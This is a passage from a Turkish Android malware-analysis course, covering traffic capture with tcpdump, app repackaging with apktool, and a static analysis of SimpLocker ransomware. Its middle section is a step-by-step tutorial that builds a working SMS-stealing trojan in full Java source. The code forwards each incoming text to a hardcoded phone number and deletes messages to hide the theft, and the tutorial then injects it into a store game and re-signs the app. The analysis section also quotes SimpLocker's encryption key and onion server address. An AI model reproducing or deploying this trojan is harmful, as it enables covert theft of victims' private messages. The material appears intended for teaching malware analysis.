  78. 78. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ● http://www.androidtcpdump.com/android-tcpdump/downloads linkinden indirilebilmektedir. “./adb shell” komutu ile cihazdan shell alınarak “cd /data/local/tmp” komutu ile tcpdump’ı yüklediğimiz dizine gidilir. “ls -l tcpdump” komutunu uygulayarak yüklemiş olduğumuz tcpdump binary dosyasında executable (yürütme) izninin olmadığı gözlemlenir. “chmod 755 tcpdump” komutu ile tcpdump programına execute yetkisi verilir. Executable olan tcpdump dosyası artık çalıştırılabilir. Bunun için şu komut kullanılır.; ./tcpdump -v -s 0 -w packets.pcap Eğer yukarıdaki gibi değil de aşağıdaki gibi bir çıktı alırsanız bu durum kurmuş olduğunuz tcpdump binary dosyasının yanlış olduğu gösterir. İlgili dosyayının doğrusunu yeniden kurabilir ya da Genymotion veya Android Studio ile gelen Busybox aracını kullanarak tcpdump programını başlatabilirsiniz.
  79. 79. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Studio ile Tcpdump Emulator ekranı terminal üzerinden çalıştırılırken “-tcpdump output.cap” komutu eklenir. Genymotion ile Tcpdump Genymotion emulatoru çalıştırıldıktan sonra shell alınarak “cd /system/xbin” komutu ile xbin dizinine gidilir. “./tcpdump” komutu ile tcpdump aracı çalıştırılır. Uygulama - “./emulator -tcpdump emulator.cap -avd BGAEmulator” komutu ile android emulator çalıştırılır. - Cihazın çalışması Ctrl+c tuş kombinasyonu ile sonlandırılır. - Oluşturulmuş olan emulator.cap dosyası “wireshark emulator.cap” komutu ile açılılır. - Cihazın kurmuş olduğu network bağlantıları wireshark kullanılarak analiz edilir. - Statik analiz aşamasında incelediğimiz ama çalıştırmadığımız meterpreter.apk uygulamasına basılarak ADM’daki network trafiğindeki hareketlilik görüntülenebilir.
  80. 80. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Aşağıda verilen ekran görüntüsünde logcat ekranı “adb shell logcat” komutu ile incelenmiş ve kurulmaya çalışılan bağlantı “Can’t connect” hatası ile defalarca tekrarlamıştır. - Droidbox uygulaması ile uygulamanın cihaz üzerinde ne gibi değişiklikler yaptığı ve log kayıtları görüntülenebilir.
  81. 81. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Tersine Mühendislik Teknikleri İle Uygulama İçeriğini Değiştirme Bu bölümde mağazadan seçilen bir uygulamanın işleyişindeki yapıların değiştirilmesi üzerinde durulacaktır. ● https://apkpure.com/batak-hd/com.alper.batak.hd adresinden “Download APK” butonuna tıklanarak batak uygulaması indirilebilir. İndirilen uygulama, apktool programı yardımıyla debug edilir. java -jar apktool_2.2.4.jar d Batak HD_v39.0_apkpure.com.apk Decompiler edilmiş dizin içerisinde; ● /Batak HD_v39.0_apkpure.com/assets/assets/gfx/kartlar/
  82. 82. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] dizinine gidilir. Burada “assets” dizini uygulama içerisinde kullanılan kaynakları, resim müzik gibi dosyaları barındıran dizindir. Değiştirmek istediğimiz kart resimleri silinerek yerine aynı isimde farklı resim dosyaları eklenir. Şekil üzerinde “sinek_5.png” resim dosyası silinerek yerine gerçek bir sinek resmi aynı isimle eklenmiştir.
  83. 83. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama Apktool programı ile tekrar derlenir. Oluşturulmuş “yeniapk.apk” adlı dosyanın çalıştırılabilmesi için imzalanması gerekmektedir. Bunun için; keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 - validity 10000 komutuyla yeni bir imza oluşturabileceğiniz gibi daha önceden oluşturmuş olduğumuz imzayı bu uygulama içinde kullanabilirsiniz. Bunun için; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore yeniapk.apk alias_name komutunu kullanabilirsiniz. İmzalanmış olan apk dosyası sürükle bırak ya da adb programı kullanılarak Android Emulatore aktarılır ve çalıştırılır.
  84. 84. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
  85. 85. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekilde görüldüğü gibi destemizde sinek resmi sinek5 yerine kullanılmaktadır. Oyun müziklerini değiştirmek için gidilmesi gerekilen dizin; /Batak HD_v39.0_apkpure.com/assets/assets/gfx/sounds/ Bütün uygulamalar için istenilen değişikliklerin yapabileceğini, ancak yeniden imzalanmış olan uygulamaların orijinal imzasından farklı olduğu için güncelleme almayacağı bilinmelidir.
  86. 86. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Tersine Mühendislik Teknikleri İle Mevcut Uygulama İçerisine Zararlı Kod Ekleme Zararlı kod analizi yeteneklerinin geliştirilmesi ve kötü niyetli kişilerin taşıyıcı uygulamalara nasıl zararlı kod eklediklerinin açıklanması için bu bölümde mağazadan indirilen bir uygulama içerisine kötü amaçlı kod eklenerek uygulamayı kötü niyetli bir yazılım haline getirme işlemi gösterilecektir. Bunun için öncelikle mağazadan taşıyıcı uygulama seçilmelidir. Aşağıda; ● https://apkpure.com/2048/com.dt.game2048 adresinden 2048 adlı uygulama taşıyıcı uygulama olarak seçilerek indirilmiştir. Daha sonra kullanılacak olan bu uygulama saklanarak zararlı kodun geliştirildiği aşamaya geçilir. Android Studio programı başlatılarak File/New/New Project yolu izlenerek yeni bir proje oluşturulur.
  87. 87. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama ismi belirlenerek next butonuna tıklanılır ve activity ekranında herhangi bir activity seçilmeden proje oluşturulur. New/Activity/Basic Activity yolu izlenerek activity oluşturulur.
  88. 88. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Activity ayarları “activity name” belirlenerek yapılır. Oluşturulan activity ekranındaki “onCreate” metodu dışındaki metodlar silinir. Burada onCreate metodu içerisindeki “view” yani görüntü ile ilgili olan kısımlar kaldırılarak 2 adet “intent” oluşturulur. Android içerisindeki intent yapısı activityler arası geçişi sağlamak ya da servis oluşturmak için kullanılır.
  89. 89. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Burada izlenmek izlenen yol şöyledir; - Oluşturulan yeni proje içerisinde görüntü kısımları barındırmadan, 2 adet intent oluşturulur. - Bu intentlerden ilki arka planda çalışacak olan zararlı kodu temsil ederken, diğer intent taşıyıcı uygulamamızı başlatacak olan kısımdır. Yani program çalıştırıldığında ilk olarak zararlı uygulamanın bulunduğu kısım, daha sonra 2048 uygulamasının başlatılması amaçlanmaktadır. İlk intent şu şekilde oluşturulur: Intent intent = new Intent(this, MucoService.class); startService(intent); Buradaki “MucoService.class” dosyası oluşturmak istediğimiz servisin kendimizin belirlediği ismidir. Arka planda çalışacak olan zararlı servisi temsil eder. Oluşturulacak olan ikinci intent şu şekilde oluşturulur: Intent intent2 = new Intent(getApplicationContext(), “GONDERILMEK-ISTENEN-ACTIVITY”.class); startActivity(intent2); Buradaki “GONDERILMEK-ISTENEN-ACTIVITY.class” dosyası bizim taşıyıcı uygulamamızdaki ilk activitydir. Uygulama hiyerarşisinde başlangıç uygulamamız olan zararlı uygulama, taşıyıcı uygulamanın başlamasını sağlayacağından buradaki geçişin sağlanacağı activity taşıyıcı uygulamamızın ilk activity’sidir. Peki taşıyıcı uygulamamızın ilk activity’si nedir? Bu sorunun cevabını bulmak için indirmiş olduğumuz 2048 uygulamamızın “manifest” dosyasına ya da öğrenmiş olduğumuz statik analiz programlarından herhangi birini kullanabiliriz. Aşağıdaki ekran görüntüsünde görüldüğü üzere Apktool programı ile 2048 uygulaması decompiler edilmiştir.
  90. 90. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İlgili manifest dosyası metin editörü kullanılarak açılır. “@string/app_name” kısmında seçili alanda uygulamanın ilk activity isminin “com.dt.game2048.MainActivity” olduğu görülmektedir. İkinci intent yapımız 2048 uygulamasının main activitysi olacak şekilde düzenlenir. BGAActivity.java dosyası içerisindeki ilgili kod şu şekildedir: package com.example.m3o.bga_sms; import android.content.Intent; import android.os.Bundle; import android.support.design.widget.FloatingActionButton; import android.support.design.widget.Snackbar;
  91. 91. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.view.View; public class BGAActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = new Intent(this, MucoService.class); startService(intent); Intent intent2 = new Intent(getApplicationContext(), com.dt.game2048.MainActivity.class); startActivity(intent2); } } Ardından apk dosyasını smali kodlarına çevrilecek. Apk dosyası “MainActivity” adlı classı başlatabilmek için zararlı kod içeren kısımda bulunması gereken MaincActivity kısmını oluşturmaktadır. Zararlı uygulamada bir MainActivity oluşturarak bir MainActivity içerdiği bilgisiyle derlenmesini sağlanır Böylelikle taşıyıcı uygulamadaki MainActivity classı çağırabilir. Bunun için File/New yolu izlenerek yeni bir Java classı oluşturulur.
  92. 92. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Paket ismi olarak 2048 uygulamasının paket ismi yazılır ve Activity classından extend edilir. MainActivity classı oluşturulduktan sonra sıradaki işlem zararlı kodumuzu çalıştıracak olan “service” kısmını tanımlamaktadır. Üçüncü classımız olan service classını başlatmak için File/New/Service yolu izlenir.
  93. 93. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Burada dikkat edilmesi gereken nokta oluşturulan servise verilen ismin servise “BGAActivity.java” classında oluşturulan servise verilen isimle aynı olmasıdır. Çünkü bu servis BGAActivity.java dosyası için oluşturalacak bir servistir. Service dosyasının içerisine arka planda yapılması istenilen zararlı kod kısmı yazılır.
  94. 94. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İlgili uygulamadaki MucoService.java dosyası şu şekildedir: package com.example.m3o.bga_sms; import android.app.Service; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.os.IBinder; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class MucoService extends Service { public MucoService() { } private static final String ACTION="android.provider.Telephony.SMS_RECEIVED"; private BroadcastReceiver rreceiver; final SmsManager sms = SmsManager.getDefault(); final SmsManager sms2 = SmsManager.getDefault(); @Override
  95. 95. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] public void onCreate() { super.onCreate(); final IntentFilter theFilter = new IntentFilter(); theFilter.addAction(ACTION); this.rreceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { final Bundle bundle = intent.getExtras(); final Object[] pdusObj = (Object[]) bundle.get("pdus"); for (int i = 0; i < pdusObj.length; i++) { SmsMessage mesaj = SmsMessage.createFromPdu((byte[]) pdusObj[i]); String gonderenTelefon = mesaj.getDisplayOriginatingAddress(); String calinanMesaj = gonderenTelefon.concat(" : "); calinanMesaj += mesaj.getDisplayMessageBody(); sms2.sendTextMessage("+90538515XXXX", null, calinanMesaj, null, null); Uri deleteUri = Uri.parse("content://sms"); int count = 0; Cursor c = context.getContentResolver().query(deleteUri, null, null, null, null); while (c.moveToNext()) { try { // Delete the SMS String pid = c.getString(0); // Get id; String uri = "content://sms/" + pid; count = context.getContentResolver().delete(Uri.parse(uri), null, null); } catch (Exception e) { } } } } }; this.registerReceiver(this.rreceiver, theFilter); } @Override public void onDestroy() { super.onDestroy(); this.unregisterReceiver(this.rreceiver); }
  96. 96. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] @Override public IBinder onBind(Intent arg0) { return null; } } Yukarıda verilen Java kodunu açıklayacak olursak; - Öncelikli olarak APP COMPONENST başlığı altında bahsedilmiş olan receiver yapısından bir receiver tanımlanmıştır. Böylelikle broadcast yayınlardan uygulamanın haberi olacaktır. - Daha sonra uygulamanın bulunduğu telefona gelen mesajın kimden geldiğini “gönderenTelefon” adlı stringe kaydetmektedir. - “gönderenTelefon” stringi içerisindeki veriyi “calınanMesaj” adlı stringe concat metodu ile yazmaktadır. - “getDisplayMessageBody()” metodu ile mesaj içeriği alınmakta ve bu gelen mesajın kimden geldiği bilgisinin yanına eklenmektedir. - Bu bilgilerin gönderileceği telefon numarası belirlenerek ilgili işlem yapılmaktadır. - Kullanıcının durumun farkına varmaması için gönderilmiş olan mesajlar silinmektedir. Ancak bu kısım Android 4 öncesi cihazlar için geçerlidir. Bu izne uygulamalar varsayılan SMS uygulaması olmadığı sürece artık sahip değildir.
  97. 97. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Son olarak kodun başına kullanılan telefonun izni eklenmektedir. Uygulamanın kod geliştirme kısmı sona erdikten sonra “Manifest” dosyasına ilgili izinler ve kullanılan service ve ilgili activity sonrası çalıştırılacak olan 2048 uygulamasının MainActivity kısmı gibi bilgiler yazılmaktadır. İlgili uygulamadaki Manifest dosyası ise şu şekildedir: Artık zararlı uygulamanın kendi başına çalışıp çalışmadığı test edilebilir. “Run” butonuna tıklanılarak direk cihaz üzerinde başlatılabileceği gibi “Build- Build Apk” seçeneği ile apk dosyası oluşturularak da kullanılabilir.
  98. 98. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekildeki gibi oluşturulan uygulama bulunduğu cihazda çalıştırılır ve arka plana atılır. Uygulamanın bulunduğu cihaza 2 adet mesaj gönderilir ve gelen kutusunda mesajlar gözlemlenir. Zararlının bulunduğu telefondaki gelen kutusuna ait ekran görüntüsü aşağıdaki gibidir. Uygulamanın bulunduğu telefona bu mesajlar gelirken aynı zamanda uygulamanın bulunduğu telefonun giden kutusunda zararlı yazılımın gönderdiği mesaj gözlemlenir. Zararlının bulunduğu telefondaki giden kutusuna ait ekran görüntüsü ise aşağıdaki gibidir. Kod içerisinde zararlı yazılımın mesaj gönderdiği telefonda ise zararlı uygulamanın bulunduğu telefona gelen mesajın kimden geldiği ve hangi içeriğe sahip olduğu bilgisi bulunmaktadır. Zararlının mesaj gönderdiği telefona ait ekran görüntüsü aşağıda verilmiştir. Zararlı uygulamamız gerçek bir cihazda çalışmakta ve başarılı bir şekilde gelen mesajların ne olduğunu ve mesajı kimin gönderdiği bilgisini kod içerisinde belirlediğimiz telefona göndermektedir.
  99. 99. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulamayı gerçek bir cihazda test etme fırsatı bulamayanlar için Android Emulatör kullanarak nasıl test edileceği şu şekilde özetlenir: - ~/Android/Sdk/tools dizini altında “./emulator -avd BGAEmulator” komutu ile Android Emulatör başlatılır. - Oluşturulan apk dosyası sürükle bırak ile ya da adb kullanılarak cihaza yüklenir. - Çalıştırılan uygulama şekildeki gibi arka plana alınır. - Sıradaki işlem emulatörde mesaj yollama işlemidir. Bunun için terminal ekranından telnet bağlantısı gerçekleştirilmelidir. telnet localhost 5554 - auth token değerini oluşturmak için aşağıdaki parametre girilmelidir. auth auth_token - “home” dizininde oluşmuş olan token parametresini “cat .emulator_console_auth_token” paremetresi ile alınır.
  100. 100. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Daha sonra telnet ekranına auth paremetresi “auth CATEDİLMİŞDEGER” şeklinde girilir. - Son olarak göndermek istenilen mesaj “sms send gönderennumarası mesaj” şeklinde girilir. Sanal android cihaz kontrol edildiğinde gelen mesajı gelen kutusunda “gelen mesaj numarası” ve “mesaj içeriği bilgisii giden kutusunda kod içerisinde yazılan numaraya gitmiş şekilde görülecektir. Uygulamaları Birleştirme Oluşturulan zararlı uygulamayı taşıyıcı olarak 2048 uygulamasıyla birleştirme aşaması şu adımlarla gerçekleştirilir.; - apktool programı kullanılarak oluşturulmuş olan zararlı yazılımın apk dosyası decompiler edilir. - “/app-debug/smali/com/example/m3o/” dizini altındaki bga_sms adındaki smali dosyaları alınarak taşıyıcı uygulamanın smali dizinine eklenir. - Son olarak 2048 adındaki taşıyıcı uygulamanın manifest dosyası düzenlenerek başlangıç activitysini 2048 uygulamasının main activitysinden zararlı uygulamanın activitysi haline
  101. 101. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] getirilir. Ayrıca SMS mesajları için gerekli olan izinler verilir ve zararlı uygulamada kullanılan service bilgisi eklenir. - Taşıyıcı uygulama olan 2048 uygulaması Apktool aracı kullanılarak tekrar derlenir. - Oluşturulan yeni.apk adındaki apk dosyası imzalanır. İmza oluşturmak için; keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 - validity 10000 komutu kullanılabilirken daha önceden oluşturulmuş imza ile uygulamayı imzalamak için; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore yeni.apk alias_name komutu kullanılmaktadır.
  102. 102. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Emulatöre atılan cihazın çalışıp çalışmadığı ve üzerinde sahip olduğu izinler kontrol edilir.
  103. 103. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Gerçek Hayattan Zararlı Yazılım Analizi Uygulama Örnekleri Bu bölümde etkisini gerçek dünyada büyük çapta gösteren SimpLocker Ransomware(Fidye) yazılımından bahsedeceğiz. SimpLocker İlk olarak fd694cf5ca1dd4967ad6e8c67241114c hash değerine sahip olan Simplocker - Android Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk isimli dosyanın genymotion emulatorüne yüklenip yüklenmediği, böylelikle gerçek bir uygulama olup olmadığı kontrol edilir. ARM code parçasına sahip olan apk dosyası yüklenmeye çalışıldığında şekildeki gibi bir hata mesajı ile karşılaşılmaktadır. Bu sorunu çözmek için; ● https://dl.dropboxusercontent.com/content_link/chOR6azzI6bTYVX3ieaLnnAEdkn8O4OnFW Sjhv7UOAgQ56Fwjqm3aNalYGVP73Mv/file?dl=1 adresinden ya da internetten; ● genymotion-arm-translation_v1.1.zip download
  104. 104. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] arama anahtarıyla internet üzerinden herhangi bir yerden indirilebilen zip dosyası sürükle bırak yapılarak Genymotiona aktarılır. Gelen seçenek onaylanarak ARM translation tool Genymotion Emulatorüne aktarılır. Genymotion’ın yeniden başlatılması ile uygulamamız sürükle bırak yapılarak tekrar cihaza yüklenir. Yukarıda verilen ekran görüntüsüne sahip olan uygulama çalıştırılır. Karşımıza aşağıdaki gibi bi ekran çıkmaktadır. Artık uygulamayı kapatmaya çalışsak dahi kapanmayarak, arka plana atıldıktan birkaç saniye sonra tekrar ekrana çıkmaktadır. Simplocker uygulaması 2014 yılında ortaya çıkan, kullanıcının SD karttaki verilerini şifreleyerek orjinallerini silen ve bunun üzerine kullanıcıdan para isteyen “ransomware” adı verilen bir zararlı yazılım türüdür.
  105. 105. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Peki neden cihazın tamamı değil de sadece SD kart sorusuna gelirsek, “neden telefon üzerinde root olmamalıyız” konusunda bahsedilen bilgiler eşiğinde, SD kartın Root hakları olmadan herkes tarafından okunan ve yazılan bir alan iken, telefon hafızasının herkes tarafından okunma yetkisine sahip olmadığı, üzerinde çalışan uygulamaların sadece kendi alanlarına müdahale edebildiği hatırlanmalıdır. Ekrana basılı olan mesajın Türkçesi şu şekildedir: “UYARI telefonunuz kilitlenmiştir! Bu cihaz *** izleme ve dağıtımının yapılması, hayvanlarla *** ilişki içerikleri ve bunun gibi diğer sapkınlıkların yapılması sebebiyle kilitlenmiştir. Cihazınızın kilidini açmak için 260 UAH ödemelisiniz. (Yaklaşık 30 Dolar/105 Türk Lirasına dek geliyor) 1- En yakın ödeme kulübesine gidiniz. 2- MoneXy seçeneğini seçin. 3- {REDACTED} tuşuna basın 4- 260 Hryvnia parasını yazın ve ödeme tuşuna basın. Fiş almayı unutmayın! Ödeme sonunda cihazınız 24 saat içinde açılacaktır. EĞER ÖDEME YAPMAZSANIZ CİHAZ ÜZERİNDEKİ BÜTÜN VERİLERİNİZ KAYBOLUR!” Simplocker Statik Analiz Bu aşamada uygulamanın statik yani çalışır durumda olmadığı durumdaki analizi yapılmaya başlanır. Uygulama hakkında fikir sahibi olmak ve obfuscated bir koda sahip değilse kodun analizini yaparak apk hakkında bilgi sahibi olmak bu aşamadaki asıl amaçtır. İlk olarak zararlı analizi yapan kişilerden bile öte her bilgisayar kullanıcısının uygulamalarının güvenilirliğini test ettiği “VirusTotal” adlı siteye apk dosyasının gerçek bir zararlı yazılım mı değil mi düşüncesinin önüne geçmek için yüklenir. Upload and scan file butonuna tıklanılarak uygulama seçilir ve analiz edilmesi için siteye gönderilir.
  106. 106. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] 61 antivirüs programı içerisinde 41 tanesinin bu apk dosyasını virüs olarak tanımladığı gözlemlenir ve gerçek bir zararlı yazılım üzerinde analiz yaptığımız sonucuna ulaşılır. Androguard programı kullanılarak “Manifest” dosyasındaki uygulamanın kullanmak istediği izinler listelenir.
  107. 107. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Manifest dosyasını daha ayrıntılı incelemek için Androguard programı içerisinde yer alan androaxml programı ile manifest dosyası çıkartılır. Çıkartılan output.xml dosyası metin editörü kullanılarak açılır. Şimdi Manifest dosyası içerisinde yer alan, “Tersine Mühendislik Teknikleri İle Mevcut Uygulama İçerisine Zararlı Kod Ekleme” konu başlığında da üzerinde çokça durulan bu manifest dosyasındaki bu yazıları yorumlayalım. Zararlı kodun main activity kısmının oluşturulduğu ve ekrana hata mesajının bastırıldığı kısım olabilir. Bir önceki konumuz olan zararlı yazılım geliştirme aşamasında view oluşturmadan sadece arka
  108. 108. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] planda çalışacak bir servis yazarak tamamladığımız bu kısım bu yazılımda ekrana bir hata mesajı basan bir view ve arka planda çalışan servisleri başlatan yapı olarak dikkat çekmektedir. Telefon boot edildiğinde, yani yeniden başlatıldığında başlayacak olan bir servisi tanımlar. Servisin arka planda çalışan bir app component olduğunu hatırlanmalıdır. Cihazı kapat aç yaptıktan sonra uygulamanın çalışarak “Cihazınız Kilitlendi” metnini ekrana basmasını sağlayan yapı olabilir. SDCardServiceStarter isminden de yorumlayabileceğimiz gibi SD kart üzerinde yapılan işlemlerin tanımlı olduğu arka planda çalışan bir servis olma ihtimali çok yüksektir. Büyük ihtimal arka planda SD karttaki dosyaların encrypt(şifreleme) işlemlerinin yapıldığı kısmın tanımlandığı servis yapısıdır. Son olarak “.MainService” adında çağrılan bir servis dikkatimizi çekmektedir. Servis olduğu için arka planda çalışan bu yapı “org.torproject.android.service.TorService” isminde Tor servisi çağırmaktadır. MainService isminden dolayı önemli görevi bulunduğu düşündüğümüz bu servis Tor yapısı ile anonymous yani kişinin bilinmezliğini sağlamaktadır. Şifrelenmiş uygulamaların açılmasını sağlamak için uzaktan kurulacak iletişimi sağlayan yapı olma ihtimali Tor yapısından dolayı kuvvetle muhtemeldir. Ama tahminden öte değildir. Belkide böyle bir yapı yoktur ve ödeme yapsanız dahi şifrelenmiş dosyalarınız açılmayacaktır. Manifest dosyasından yorumlayamayacak bu yapı statik kod analizi yaparak derinden incelenecektir. Androguard ile paket ismi, aktivity isimleri, uygulama adı gibi bilgilere bakılır.
  109. 109. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Daha sonra uygulama içerisindeki string değerleri “d.get_strings()” komutu ile incelenerek statik analizin bir sonraki kısmı olan statik kod analizine geçilir. dex2jar dizini altında; ./d2j-dex2jar.sh Simplocker - Android Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk komutu ile dex kodları java jar binary dosyalarına çevrilir. Oluşturulan jar dosyası java kodlarına decompiler edilmesi için JD-GUI programına sürükle bırak yapılır.
  110. 110. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Class yapıları şekildeki gibi gözlemlenir. İlk olarak dikkat edilecek nokta obfuscation kullanılıp kullanılmadığıdır. Obfuscation konusunda öğrenildiği üzere R.class yapısının burada yer alması ve anlamlı class isimleri barındırması sayesinde uygulamada obfuscation kullanılmadığı gözlemlenmektedir. Bu durum analiz yapmamızı ve kodu yorumlamamızı kolaylaştıracaktır. İlk olarak main.class’ımız incelenir. Main.class dosyasının görünüşü şu şekildedir. Zararlı yazılım geliştirme uygulamamızda yapıldığı gibi “Oncreate” metodu içerisinde bir adet servis çağrılmıştır. Yapılan uygulamadan farklı olarak bu uygulamada bir adet view, setContentView metodu ile tanımlanmıştır.
  111. 111. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] MainServiceStart adında bir adet intent ve Mainservice adında bir adet servis tanımlayarak startService metodu ile servisi başlatmaktadır. Bu kısımda ise uygulama geri tuşuna basılarak kapatılsa dahi “true” dönerek hata mesajının tekrar ekrana basılmasına neden olan kısımdır. Sırada incelenecek olan class MainService.class’ıdır. Mainservice.class servis classı içerisinde StartService metodu ile TOR_SERVICE başlatıldığı gözlemlenmektedir.
  112. 112. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Biraz daha aşağıya inildiğinde FilesEncryptor classından encrypt metodunun çağrıldığı gözlemlenmektedir. SDCardServiceStarter.class ı incelendiğinde MainService çalıştığı durumda çalıştırılan bir servis olduğu gözlemlenir. Şimdiye kadar incelediğimiz kısmı özet geçmemiz gerekirse; - Main.class’ı ekrana bir uyarı mesajı basıyor ve MainService oluşturuyor. - MainService.class servis class’ı TorServisi ve FilesEncryptor classını encrypt metodu ile çağırıyor. - SDCardServiceStarter.class’ı MainServise çalıştıktan sonra isRunning True döndüğü sürece çalışan diğer servisimiz oluyor. Sırada FilesEncryptor classı analiz edilecektir. Aşağıda verilen kodda cihaza bağlı mount edilmiş bir SD kart olup olmadığı bilgisine bakılmaktadır. GetFileNames metodu ile SD kart içerisindeki dosya isimleri alınmaktadır ve bir array(dizi) yapısı içerisinde tutulmaktadır.
  113. 113. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Son olarak encrypt metodu incelenecektir. Eğer mount edilmiş bir SD kart varsa AesCrypt classından “jndlasf074hr” anahtarı ile bir obje oluşturarak dosyaları şifrelemektedir. Son olarak “.enc” uzantısı ile dosya isimlerini değiştirmektedir. Son kısmı özetlemek gerekirse FilesEncryptor class’ı SD kart olup olmadığına bakıyor ve varsa dosya isimlerini bir diziye atarak listeliyor. AesCrypt class’ı içerisindeki encrypt metodunu “jndlasf074hr” anahtarıyla çağırarak dosyaları şifreliyor ve son olarak uzantılarının sonuna “.enc” ekliyor.
  114. 114. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Sıradaki işlemde TorSender.class’ı incelenecektir. Proxy oluşturmak için tanımlanacak localhost ve çıkış yapılacak port numarası belirlenmiştir. Telefona ait IMEI numarası Utils classı içerisindeki getOutIMEI metodu ile alınmaktadır. IMEI, OS, phone model ve manufacture bilgilerinin TorSender class’ına nasıl alındığını incelemek için Utils.class dosyası incelenir. GetIMEI ve getModel metodları kullanılarak telefona ait bilgilerin string içerisine alındığı gözlemlenir.
  115. 115. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Son kısmı özetlemek gerekirse TorSender.class’ı içerisinde Utils.class’ı içerisindeki fonksiyonun çağrıldığı gözlemlenmiştir. Utils.class’ı içerisinde ise telefona ait bilgilerin tespit edilip string değerinde tutulduğu fonksiyonların bulunduğu gözlemlenir. İncelenecek bir sonraki class yapımız ise HTTPSender classıdır. Sunucu ile iletişimin yapıldığı bu class incelenir. Şekil üzerinde proxy detayları gözlemlenmektedir. Şekil üzerinde onion uzantılı “http://xeyocsu7fu2vjhxs.onion/” URL adresine bağlantı kurulduğu gözlemlenmektedir. Class içerisinde incelenecek olan son yapı olan kısımda ise eğer server tarafından stop komutu gelirse FilesEncryptor içerisindeki decrypt metodunu çağırmaktadır.
